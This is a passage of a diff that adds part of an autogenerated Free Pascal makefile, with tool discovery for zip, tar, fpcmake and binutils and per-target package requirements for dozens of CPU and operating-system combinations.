INSTALL +ifdef inUnix +INSTALL:=$(GINSTALL) -c -m 644 +else +INSTALL:=$(COPY) +endif +endif +ifndef INSTALLEXE +ifdef inUnix +INSTALLEXE:=$(GINSTALL) -c -m 755 +else +INSTALLEXE:=$(COPY) +endif +endif +ifndef MKDIR +MKDIR:=$(GINSTALL) -m 755 -d +endif +export ECHOREDIR COPY COPYTREE MOVE DEL DELTREE INSTALL INSTALLEXE MKDIR +ifndef PPUMOVE +PPUMOVE:=$(strip $(wildcard $(addsuffix /ppumove$(SRCEXEEXT),$(SEARCHPATH)))) +ifeq ($(PPUMOVE),) +PPUMOVE= __missing_command_PPUMOVE +else +PPUMOVE:=$(firstword $(PPUMOVE)) +endif +endif +export PPUMOVE +ifndef FPCMAKE +FPCMAKE:=$(strip $(wildcard $(addsuffix /fpcmake$(SRCEXEEXT),$(SEARCHPATH)))) +ifeq ($(FPCMAKE),) +FPCMAKE= __missing_command_FPCMAKE +else +FPCMAKE:=$(firstword $(FPCMAKE)) +endif +endif +export FPCMAKE +ifndef ZIPPROG +ZIPPROG:=$(strip $(wildcard $(addsuffix /zip$(SRCEXEEXT),$(SEARCHPATH)))) +ifeq ($(ZIPPROG),) +ZIPPROG= __missing_command_ZIPPROG +else +ZIPPROG:=$(firstword $(ZIPPROG)) +endif +endif +export ZIPPROG +ifndef TARPROG +TARPROG:=$(strip $(wildcard $(addsuffix /gtar$(SRCEXEEXT),$(SEARCHPATH)))) +ifeq ($(TARPROG),) +TARPROG:=$(strip $(wildcard $(addsuffix /tar$(SRCEXEEXT),$(SEARCHPATH)))) +ifeq ($(TARPROG),) +TARPROG= __missing_command_TARPROG +else +TARPROG:=$(firstword $(TARPROG)) +endif +else +TARPROG:=$(firstword $(TARPROG)) +endif +endif +export TARPROG +ASNAME=$(BINUTILSPREFIX)as +LDNAME=$(BINUTILSPREFIX)ld +ARNAME=$(BINUTILSPREFIX)ar +RCNAME=$(BINUTILSPREFIX)rc +NASMNAME=$(BINUTILSPREFIX)nasm +ifndef ASPROG +ifdef CROSSBINDIR +ASPROG=$(CROSSBINDIR)/$(ASNAME)$(SRCEXEEXT) +else +ASPROG=$(ASNAME) +endif +endif +ifndef LDPROG +ifdef CROSSBINDIR +LDPROG=$(CROSSBINDIR)/$(LDNAME)$(SRCEXEEXT) +else +LDPROG=$(LDNAME) +endif +endif +ifndef RCPROG +ifdef CROSSBINDIR +RCPROG=$(CROSSBINDIR)/$(RCNAME)$(SRCEXEEXT) +else +RCPROG=$(RCNAME) +endif +endif +ifndef ARPROG +ifdef CROSSBINDIR +ARPROG=$(CROSSBINDIR)/$(ARNAME)$(SRCEXEEXT) +else +ARPROG=$(ARNAME) +endif +endif +ifndef NASMPROG +ifdef CROSSBINDIR +NASMPROG=$(CROSSBINDIR)/$(NASMNAME)$(SRCEXEEXT) +else +NASMPROG=$(NASMNAME) +endif +endif +AS=$(ASPROG) +LD=$(LDPROG) +RC=$(RCPROG) +AR=$(ARPROG) +NASM=$(NASMPROG) +ifdef inUnix +PPAS=./ppas$(SRCBATCHEXT) +else +PPAS=ppas$(SRCBATCHEXT) +endif +ifdef inUnix +LDCONFIG=ldconfig +else +LDCONFIG= +endif +ifdef DATE +DATESTR:=$(shell $(DATE) +%Y%m%d) +else +DATESTR= +endif +ZIPOPT=-9 +ZIPEXT=.zip +ifeq ($(USETAR),bz2) +TAROPT=vj +TAREXT=.tar.bz2 +else +TAROPT=vz +TAREXT=.tar.gz +endif +override REQUIRE_PACKAGES=rtl fpmkunit +ifeq ($(FULL_TARGET),i386-linux) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i386-go32v2) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i386-win32) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i386-os2) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i386-freebsd) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i386-beos) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i386-haiku) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i386-netbsd) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i386-solaris) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i386-qnx) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i386-netware) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i386-openbsd) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i386-wdosx) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i386-darwin) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i386-emx) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i386-watcom) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i386-netwlibc) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i386-wince) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i386-embedded) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i386-symbian) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i386-nativent) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i386-iphonesim) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i386-android) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),i386-aros) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),m68k-linux) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),m68k-freebsd) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),m68k-netbsd) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),m68k-amiga) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),m68k-atari) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),m68k-openbsd) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),m68k-palmos) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),m68k-embedded) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),powerpc-linux) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),powerpc-netbsd) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),powerpc-amiga) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),powerpc-macos) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),powerpc-darwin) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),powerpc-morphos) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),powerpc-embedded) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),powerpc-wii) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),powerpc-aix) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),sparc-linux) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),sparc-netbsd) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),sparc-solaris) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),sparc-embedded) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),x86_64-linux) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),x86_64-freebsd) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),x86_64-netbsd) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),x86_64-solaris) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),x86_64-openbsd) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),x86_64-darwin) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),x86_64-win64) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),x86_64-embedded) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),x86_64-iphonesim) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),x86_64-aros) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),x86_64-dragonfly) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),arm-linux) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),arm-palmos) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),arm-darwin) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),arm-wince) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),arm-gba) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),arm-nds) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),arm-embedded) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),arm-symbian) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),arm-android) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),powerpc64-linux) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),powerpc64-darwin) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),powerpc64-embedded) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),powerpc64-aix) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),avr-embedded) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),armeb-linux) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),armeb-embedded) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),mips-linux) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),mipsel-linux) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),mipsel-embedded) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),mipsel-android) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),jvm-java) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 +REQUIRE_PACKAGES_FCL-PROCESS=1 +REQUIRE_PACKAGES_HASH=1 +REQUIRE_PACKAGES_LIBTAR=1 +REQUIRE_PACKAGES_FPMKUNIT=1 +endif +ifeq ($(FULL_TARGET),jvm-android) +REQUIRE_PACKAGES_RTL=1 +REQUIRE_PACKAGES_PASZLIB=1 